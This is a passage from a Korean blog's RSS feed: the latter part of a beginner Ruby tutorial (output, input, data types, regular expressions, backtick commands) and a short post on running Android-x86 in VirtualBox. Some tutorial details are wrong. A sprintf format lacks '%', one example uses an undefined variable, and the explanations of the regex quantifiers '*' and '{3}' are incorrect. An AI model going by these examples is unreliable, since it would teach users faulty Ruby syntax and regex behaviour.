&lt;p&gt;사실, 루비는 루비 온 레일즈(Ruby on Rails) 덕분에 더 널리 알려졌는데요, 레일즈 프레임워크는 스프링 프레임워크처럼 웹 개발을 편하게 해주는 프레임워크의 한 종류랍니다. 지금 보시는 &lt;a href=&quot;http://blog-kkamagui.cloudfoundry.com&quot;&gt;이 사이트&lt;/a&gt;도 루비 온 레일즈로 만들어졌습니다.&lt;/p&gt;

&lt;p&gt;루비는 다른 스크립트 언어가 갖고 있는 대부분의 기능이 포함되어 있습니다. 물론 거기에는 다양한 확장 라이브러리도 포함해서 말이지요. ;) 여러분이 필요로 하는 대부분의 기능은 이미 다른 라이브러리에 포함되어 있을 겁니다. 잘만 활용한다면 쉽고, 빠르게 개발을 진행할 수 있습니다.&lt;/p&gt;

&lt;p&gt;이러한 특징때문에 반복되는 작업을 자동화하는 간단한 프로그램이나, 본격적인 개발 전에 프로토타입을 만들어보는 용으로 사용하면 딱입니다(물론 제 개인적인 소견이에요. ㅠㅠ).&lt;/p&gt;

&lt;h1&gt;콘솔 출력&lt;/h1&gt;

&lt;p&gt;루비에서 데이터를 출력하는 방법은 아주 간단합니다. 앞에서 본 것처럼 &lt;code&gt;puts&lt;/code&gt;를 쓰면 대부분의 데이터를 출력할 수 있습니다. 단, 원하는 형태로 데이터를 출력하고 싶다면 조금 고민을 해야하지만, C 언어를 조금 안다면 그리 어렵지 않습니다. C 언어의 printf와 비슷한 기능을 하는 &lt;code&gt;sprintf()&lt;/code&gt;가 있기 때문이죠. C처럼 생긴 sprintf()가 싫다면 &lt;code&gt;&quot;문자열 포맷&quot; %[]&lt;/code&gt; 형식의 루비 스타일도 있으니 입맛대로 사용하면 됩니다. ^^;;;;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = sprintf(&quot;제 이름은 %s이고 나이는 %d 입니다.&quot;, &quot;루비&quot;, 1)
b = &quot;제 이름은 %s이고 나이는 %d 입니다.&quot; %[&quot;루비&quot;, 1]
c = sprintf(&quot;PI는 .2f 입니다.&quot;, 3.1425);

puts a
puts b
puts c
&lt;/code&gt;&lt;/pre&gt;

&lt;h1&gt;콘솔 입력&lt;/h1&gt;

&lt;p&gt;루비에서 콘솔 입력은 한 줄 또는 여러 줄을 입력받을 수 있습니다. 한 줄 입력은 &lt;code&gt;gets() or readline()&lt;/code&gt; 함수를 사용하면 되고, 여러 줄 입력은 &lt;code&gt;readlines()&lt;/code&gt; 함수를 사용하면 됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = gets()              # 엔터가 입력될 때까지 저장
b = readline()          # 위와 같은 결과
c = readlines()         # 여러 줄을 읽을 때 사용
&lt;/code&gt;&lt;/pre&gt;

&lt;h1&gt;루비 데이터 타입&lt;/h1&gt;

&lt;p&gt;루비에는 크게 7가지 기본 타입이 있는데요, 숫자와 문자열, 배열(Array)과 해시(Hash), 범위(Range)와 심볼(Symbol), 그리고 정규표현식(Regular Expression)이 그겁니다.&lt;/p&gt;

&lt;p&gt;숫자와 문자열, 배열은 기존에 다른 언어와 큰 차이가 없기 때문에 간단히 살펴보고 넘어가겠습니다. 그렇다고 나머지가 엄청 복잡한 건 아니니 너무 걱정안하셔도 됩니다(사실 정규표현식은 좀 낯설긴 해요. ^^;;;;).&lt;/p&gt;

&lt;h2&gt;숫자, 문자열&lt;/h2&gt;

&lt;p&gt;아래는 루비에서 숫자와 문자열을 나타낸 예입니다. &lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = 5                         # 정수 5
b = 10.1                      # 실수 10.1
c = &quot;이것은 문자열입니다.&quot;    # 문자열

puts a, b, c                  # a,b,c 변수의 값을 차례로 출력

결과:
5
10.1
이것은 문자열입니다.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위의 a, b, c를 변수라고 하며, 변수는 값을 저장하는 일종의 공간입니다. 루비의 변수는 타입이 정해져있지 않고 우변에 대입하는 값에 따라서 변합니다. C나 C++ 언어처럼 선언할 때 변수의 타입을 지정해주는 것과는 다른 방식이지요.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;puts&lt;/code&gt;는 파라미터로 넘어온 값을 출력하는 함수로, 숫자 타입부터 배열이나 해시까지 아주 편하게 출력할 수 있습니다. 앞으로 자주 사용할 것이니 puts() 함수를 눈여겨봐두기 바랍니다.&lt;/p&gt;

&lt;h2&gt;배열, 해시, 범위&lt;/h2&gt;

&lt;p&gt;배열과 해시 역시 아주 직관적입니다. 아래는 배열과 해시의 예를 나타낸 겁니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = [0, 1, 2, 3, 4, 5]        # 0 에서 5까지 정수가 들어있는 1차원 배열
# 사과와 바나나를 키로 사용하고, 그 값으로 빨강, 노랑을 연결한 해시
b = {&quot;사과&quot; =&amp;gt; &quot;빨강&quot;, &quot;바나나&quot; =&amp;gt; &quot;노랑&quot;}

puts a, a.length, b[&quot;사과&quot;], c[&quot;바나나&quot;]

결과:
0
1
2
3
4
5
6
빨강
노랑

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;배열은 다른 언어와 마찬가지로 []로 감싸고 그 안에 배열의 요소를 ,로 구분하여 넣으면 됩니다. 잠시 후에 설명하겠지만 루비의 모든 타입은 클래스이기 때문에, 기본적으로 몇가지 함수나 속성을 가지고 있습니다. 위에서 나온 length도 그중에 한 가지며, 배열의 길이를 나타내는 속성입니다.&lt;/p&gt;

&lt;p&gt;해시는 키(Key)와 값(Value)로 이루어진 테이블이며, 다른 말로는 맵(Map)이라고도 합니다. 해시는 배열과 달리 키를 사용하여 데이터를 읽고 쓸 수 있으므로, 연속적이지 않은 데이터를 다루는데 유용합니다. 해시에서 키와 값은 =&amp;gt; 로 연결하며, 항목이 여러 개일 경우 ,로 구분합니다.&lt;/p&gt;

&lt;p&gt;다음 범위와 정규표현식으로 넘어가기 전에 간단히 2차원 배열을 생성하는 방법을 살펴보겠습니다. 2차원 배열은 1차원 배열을 내부에 가지고 있는 배열입니다. 따라서 아래처럼 2차원 배열에 담을 배열을 먼저 생성한 뒤에, 다른 1차원 배열을 생성해서 그 안에 두면 됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = [0, 1]          # 1차원 배열
b = [2, 3]          # 1차원 배열
c = [a, b]          # 2차원 배열

puts c
puts c[0][0]
puts c[0][1]
puts c[1][0]
puts c[1][1]

결과:
[[0, 1], [2, 3]]
0
1
2
3

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위의 코드는 2차원 배열을 만들고 각 요소에 접근하는 방법을 나타낸 겁니다. 2차원 배열이 &quot;1차원 배열을 요소로 갖고 있는 1차원 배열&quot;이란 것을 생각해보면, 쉽게 예측할 수 있는 코드입니다. ^^)-b&lt;/p&gt;

&lt;p&gt;범위는 숫자와 &lt;code&gt;..&lt;/code&gt; 또는 &lt;code&gt;...&lt;/code&gt;으로 이루어진 조합으로, 시작과 끝에 포함되는 모든 정수를 뜻합니다. 즉 &lt;code&gt;1..10&lt;/code&gt;은 1부터 10까지 모든 정수(1,2,3...10)을 뜻한다는 것이죠. &lt;code&gt;..&lt;/code&gt;과 &lt;code&gt;...&lt;/code&gt;의 차이는 &lt;code&gt;..&lt;/code&gt;는 끝 숫자를 범위에 포함하지만, &lt;code&gt;...&lt;/code&gt;는 끝 숫자를 범위에 포함하지 않는 것입니다. 아래는 그 사용법과 결과를 나타낸 겁니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = 0..10          # 0부터 10까지 범위의 정수
b = 0...10         # 0부터 9까지 범위의 정수

puts a
puts b

결과:
0..10
0...10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위의 결과를 보면 살짝 당황스러울 겁니다. 0부터 10까지의 숫자가 출력되기를 바랬는데, 우리가 만든 범위를 그대로 출력해주니 말입니다. 여기에 살짝 for 문을 추가하여 실제로 범위에 들어가는 값을 출력해보겠습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = 0..10
b = 0...10

puts &quot;0..10&quot;
for i in a
    puts i
end

puts &quot;0...10&quot;
for i in b
    puts i
end

결과:
0..10
0
1
2
3
4
5
6
7
8
9
10
0...10
0
1
2
3
4
5
6
7
8
9
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;정규표현식(Regular Expression)과 문자열 다루기&lt;/h2&gt;

&lt;p&gt;루비의 정규표현식은 &lt;code&gt;/&lt;/code&gt;로 구분합니다. 즉 &lt;code&gt;/Ruby/&lt;/code&gt;처럼 사용하면 &lt;code&gt;Ruby&lt;/code&gt;와 일치하는 문자열을 나타내는 정규표현식이 됩니다. 정규 표현식 뒤에는 페턴을 어떻게 일치시킬지를 나타내는 옵션이 들어가고 옵션의 의미는 다음과 같습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;* /Ruby/i : 대소문자 구분 안함
* /Ruby/m : 줄바꿈 문자도 일반 문자처럼 다룰 때 사용
* /Ruby/x : 공백문자와 주석을 허용(RE 확장 문법)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;정규표현식에서 &lt;code&gt;()&lt;/code&gt;, &lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;{}&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;^&lt;/code&gt;, &lt;code&gt;$&lt;/code&gt;는 각자 의미가 있습니다. 각 기호의 의미는 말로 설명하는 것보다 직접 사용법을 보는 것이 더 이해가 쉽습니다. 다음은 각 기호의 사용법입니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;/(R|r)uby/          # Ruby 또는 ruby와 일치
/[Rr]uby/           # Ruby 또는 ruby와 일치
/[0-9]/             # 모든 숫자 한자리와 일치
/[0-9]+/            # 모든 숫자 한자리 이상과 일치
/Ruby!*/            # Ruby 또는 Ruby 뒤에 !가 1개 이상 붙은 문자열과 일치
/Ruby!?/            # Ruby 또는 Ruby!와 일치
/Ruby{3}/           # Ruby가 3번 반복되는 문자열과 일치
/Ruby{1,3}/         # Ruby가 최소 1번부터 최대 3번까지 반복되는 문자열과 일치
/[^0-9]/            # 숫자를 제외한 문자열과 일치
/ruby$/             # ruby로 끝나는 문자열과 일치
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;기호로 인해 더 쉽게 정규표현식을 만들 수 있게 된 건 좋은데, 이런 기호를 실제로 쓰고 싶으면 어떻게 할까요? 방법은 간단합니다. 앞에서 나온 기호들을 실제 패턴 일치에 사용하고 싶으면 &lt;code&gt;\&lt;/code&gt;를 앞에 붙여주면됩니다. 아래처럼 말이죠 ;)&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;/Ruby\?/            # Ruby?와 일치
/Ruby\+/            # Ruby+와 일치
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;+&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;와 같은 반복 기호 뒤에는 &lt;code&gt;?&lt;/code&gt; 기호를 사용할 수 있는데, 이는 패턴을 일치시킬 때 범위를 어디까지로 한정하는가에 사용됩니다. 아래와 같이 Ruby&amp;gt; 가 있을 때 ?가 있을 때와 없을 때의 차이는 다음과 같습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = &quot;&amp;lt;ruby&amp;gt;Ruby&amp;gt;&quot;

결과:
a =~ /&amp;lt;.*&amp;gt;/
$~
=&amp;gt; #&amp;lt;MatchData &quot;&amp;lt;ruby&amp;gt;Ruby&amp;gt;&quot;&amp;gt;

a =~ /&amp;lt;.*?&amp;gt;/
$~
=&amp;gt; #&amp;lt;MatchData &quot;&amp;lt;ruby&amp;gt;&quot;&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위에서 &lt;code&gt;$~&lt;/code&gt;로 나타낸 것은 정규표현식에서 일치한 부분을 나타내는 전역 변수입니다. 객체지향으로 보면 &lt;code&gt;Regexp.last_match&lt;/code&gt;와 같습니다. 사실 Regexp.last_match는 $~의 값을 그대로 반환합니다.&lt;/p&gt;

&lt;p&gt;정규표현식에는 문자와 숫자를 의미하거나 공백 또는 모든 문자를 의미하는 표현식이 있습니다. 위의 &lt;code&gt;.&lt;/code&gt;이 바로 그것인데요, 다음은 해당 표현식을 나타낸 것입니다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;* /./ : 줄바꿈을 제외한 모든 문자와 일치
* /./m : 줄바꿈을 포함한 모든 문자와 일치
* /\d/ : 숫자와 일치
* /\D/ : 숫제를 제외한 모든 문자와 일치
* /\s/ : 공백 문자와 일치 \t, \r, \n, \f
* /\S/ : 공백을 제외한 문자와 일치
* /\w/ : 단어 하나와 일치
* /\W/ : 단어가 아닌 문자에 일치
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;사실, 문자열의 경우 배열의 인덱스에 정규표현식을 넣어서 일치하는 부분만 잘라낼 수 있습니다. 아래처럼 말이죠. &lt;code&gt;slice()&lt;/code&gt; 함수를 사용해도 같은 결과를 얻을 수 있고, slice!()를 사용하면 원하는 결과만 문자열에서 꺼내고 기존 문자열은 나머지만 남길수도 있습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = &quot;&amp;lt;ruby&amp;gt;Ruby&amp;gt;&quot;

a[/&amp;lt;.*&amp;gt;/]
a[/&amp;lt;.*?&amp;gt;/]
a.slice(/&amp;lt;.*&amp;gt;/)
a.slice!(/&amp;lt;.*?&amp;gt;/)
puts a

결과:

&amp;lt;ruby&amp;gt;Ruby&amp;gt;         #a[/&amp;lt;.*&amp;gt;/]
&amp;lt;ruby&amp;gt;              #a[/&amp;lt;.*?&amp;gt;/]
&amp;lt;ruby&amp;gt;Ruby&amp;gt;         # a.slice(/&amp;lt;.*&amp;gt;/)의 결과

&amp;lt;ruby&amp;gt;              # a.slice!(/&amp;lt;.*?&amp;gt;/)의 결과
Ruby&amp;gt;               # puts a의 결과
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;그리고, 패턴을 비교하는데 &lt;code&gt;=~&lt;/code&gt;만 쓰란 법도 없습니다. 문자열이라면 &lt;code&gt;.match()&lt;/code&gt;를 사용해서 &lt;code&gt;MatchData&lt;/code&gt; 객체를 반환하게 만들수도 있습니다. &lt;code&gt;=~&lt;/code&gt;는 일치하는 인덱스를 반환하거나 &lt;code&gt;nil&lt;/code&gt;을 반환하는 반면 &lt;code&gt;.match()&lt;/code&gt;는 &lt;code&gt;MatchData&lt;/code&gt;를 반환하거나  &lt;code&gt;nil&lt;/code&gt;을 반환하는 것이 다릅니다.&lt;/p&gt;

&lt;h1&gt;명령어 실행&lt;/h1&gt;

&lt;p&gt;루비는 언어 내에서 &lt;strong&gt;`&lt;/strong&gt;로 명령어를 실행하는 것을 지원합니다. 예를들어 &lt;strong&gt;`ls`&lt;/strong&gt;를 하면 ls가 실행되어 그 결과가 문자열로 반환이됩니다. 다음은 &lt;code&gt;ls&lt;/code&gt; 명령어를 실행하여 현재 디렉터리의 목록을 받아와 출력하는 예제입니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;a = `ls`
puts a

결과:
posts.html
posts_files
start-ruby-1.md
test.css
test.html
test_files
vim-markdown-preview-설정.md
&lt;/code&gt;&lt;/pre&gt;

&lt;h1&gt;마무리...&lt;/h1&gt;

&lt;p&gt;이상으로 루비 언어의 특징에 대해서 간단하게 알아봤습니다. 다음 시간에는 루비 언어를 이용해서 귀찮은 작업을 한방에 처리할 수 있는 방법을 알아보겠습니다.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-799-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-799-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-799-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F799&amp;regts=1330954204&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/Programming%20Tip&quot;&gt;Programming Tip&lt;/a&gt;&amp;nbsp;&gt;&amp;nbsp;&lt;a href=&quot;/category/Programming%20Tip/루비%28Ruby%29&quot;&gt;루비(Ruby)&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/799&quot; &gt;스타트 루비(Start Ruby) 1편&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/03/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/797&quot; &gt;마크다운(Markdown)용 VIM Preview Plugin 사용법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/796&quot; &gt;pre 태그 내부에 글이 길 경우 자동으로 줄바꿈을 해주는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/795&quot; &gt;메타 태그(Meta Tag)를 이용해서 내 웹페이지를 모바일 브라우저에 예쁘게 표시하기&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/794&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 Nokogiri 설치 시 libxlst 관련 오류가 발생할 때 해결 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/02/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/793&quot; &gt;루비 온 레일즈(Ruby on Rails)에서 bundle package했을 때 mysql2 관련 에러 해결하는 방법&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/28&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>루비(Ruby)</category>
			<category>루비</category>
			<category>스타트 루비 1편</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/799</guid>
			<comments>http://kkamagui.tistory.com/799#entry799comment</comments>
			<pubDate>Mon, 05 Mar 2012 22:29:00 +0900</pubDate>
		</item>
		<item>
			<title>안드로이드 OS를 PC에서 실행시켜보자(Android-x86 Project)</title>
			<link>http://kkamagui.tistory.com/800</link>
			<description>&lt;p&gt;
  &lt;/p&gt;
&lt;h1&gt; Android-x86 Project &lt;/h1&gt;

&lt;p&gt;오늘 블로그를 순회하다가 재미있는 프로젝트를 발견했습니다. 스마트폰에서 동작하는 안드로이드 OS(Android OS)를 PC에서 실행시키는 프로젝트인데요, &lt;a href=&quot;http://www.android-x86.org/&quot;&gt;Android-x86&lt;/a&gt;가 바로 그것입니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:600px;&quot;&gt;&lt;a href=&quot;http://cfile3.uf.tistory.com/original/154AB0454F52F071145ABD&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile3.uf.tistory.com/image/154AB0454F52F071145ABD&quot; filemime=&quot;image/jpeg&quot; filename=&quot;cfile3.uf@154AB0454F52F071145ABD.png&quot; height=&quot;479&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;lt;Virtual Box에서 실행 중인 Android ICS 버전&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;br /&gt;
&lt;h1&gt;Virtual Box에서 실행하기&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;http://www.android-x86.org/&quot;&gt;Android-x86&lt;/a&gt;에 가보면 ICS(Icecream Sandwitch) 버전까지 포팅이 되어있는데, 가상머신의 한 종류인 Virtual Box를 사용하면 번거롭게 설치하지 않고도 실행해볼 수 있습니다. Virtual Box에서 실행하는 방법은 아주 간단합니다. Virtual Box에서 &lt;code&gt;새로 만들기&lt;/code&gt;를 선택한 다음, &lt;code&gt;운영체제&lt;/code&gt;와 &lt;code&gt;버전&lt;/code&gt;을 각각 &lt;code&gt;Other&lt;/code&gt;와 &lt;code&gt;Other/Unknown&lt;/code&gt;으로 설정해주고 프로젝트를 생성하면 됩니다. 단, 원활한 실행을 위해 &lt;code&gt;RAM&lt;/code&gt;은 &lt;code&gt;512MB&lt;/code&gt; 이상으로 설정해주는 것이 좋습니다.&lt;/p&gt;

&lt;p&gt;새로운 가상머신을 생성했으면, 이제 &lt;a href=&quot;http://www.android-x86.org/&quot;&gt;Android-x86&lt;/a&gt;에서 Live CD를 다운받을 차례인데요, &lt;a href=&quot;http://code.google.com/p/android-x86/downloads/list&quot;&gt;다운로드 리스트&lt;/a&gt;로 이동하셔서 &lt;code&gt;android-x86-4.0-RC1-eepc.iso&lt;/code&gt;를 다운받으면 됩니다.&lt;/p&gt;

&lt;p&gt;다운받은 뒤에는 아까 생성한 VirtualBox 가상머신에 다운받은 iso 이미지를 CD-ROM으로 추가해줘야 합니다. CD-ROM을 추가하려면 &lt;code&gt;설정&lt;/code&gt; 메뉴를 눌러 뜨는 설정창에서 &lt;code&gt;저장소&lt;/code&gt;를 클릭합니다. 그리고 오른쪽에 있는 &lt;code&gt;IDE 컨트롤러&lt;/code&gt;에 보이는 &lt;code&gt;+&lt;/code&gt; 표시된 CD를 클릭하여 CD-ROM과 이미지를 선택해줍니다. 글로 쓰려니 좀 복잡한데, 아래 그림을 보면 쉽게 진행할 수 있을 겁니다. ^^;;;;&lt;/p&gt;

&lt;p style=&quot;margin:0&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:600px;&quot;&gt;&lt;a href=&quot;http://cfile9.uf.tistory.com/original/194AB0454F52F0731650DE&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile9.uf.tistory.com/image/194AB0454F52F0731650DE&quot; filemime=&quot;image/jpeg&quot; filename=&quot;cfile9.uf@194AB0454F52F0731650DE.png&quot; height=&quot;568&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;CD-ROM까지 추가했으면 이제 실행합니다. 그리고 잠시 기다리면 ICS 설정화면이 표시되고, 안드로이드 OS가 동작할 겁니다.&lt;/p&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:600px;&quot;&gt;&lt;a href=&quot;http://cfile22.uf.tistory.com/original/174AB0454F52F07215F74D&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile22.uf.tistory.com/image/174AB0454F52F07215F74D&quot; filemime=&quot;image/jpeg&quot; filename=&quot;cfile22.uf@174AB0454F52F07215F74D.png&quot; height=&quot;481&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

&lt;h1&gt;아쉬운점....&lt;/h1&gt;

&lt;p&gt;&lt;strike&gt;안타깝게도... 아직 네트워크가 정상적으로 동작하지 않네요. ㅠㅠ 그래서 사실 기본으로 설치된 기능을 확인하는 것 외에는 아무것도 할수가 없습니다. ㅠㅠ 그래도 빠르게 발전하고 있는 만큼, 곧 모든 기능을 사용할 수 있는 날이 올 것 같네요. ;)&lt;/strike&gt;&lt;/p&gt;

&lt;p&gt;Sun2ace님의 제보로 이미 네트워크 사용이 가능한 ICS 버전이 있다는 사실을 알았습니다.&amp;nbsp;&lt;a href=&quot;http://sun2ace.blog.me/130134391597&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://sun2ace.blog.me/130134391597&lt;/a&gt; 로 가시면 마켓 이용까지 가능한 버전을 받을 수 있으니 참고하세요 ;)&lt;/p&gt;&lt;p&gt;그럼 좋은 하루 되세요 ;)&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-800-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-800-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-800-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F800&amp;regts=1332895984&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
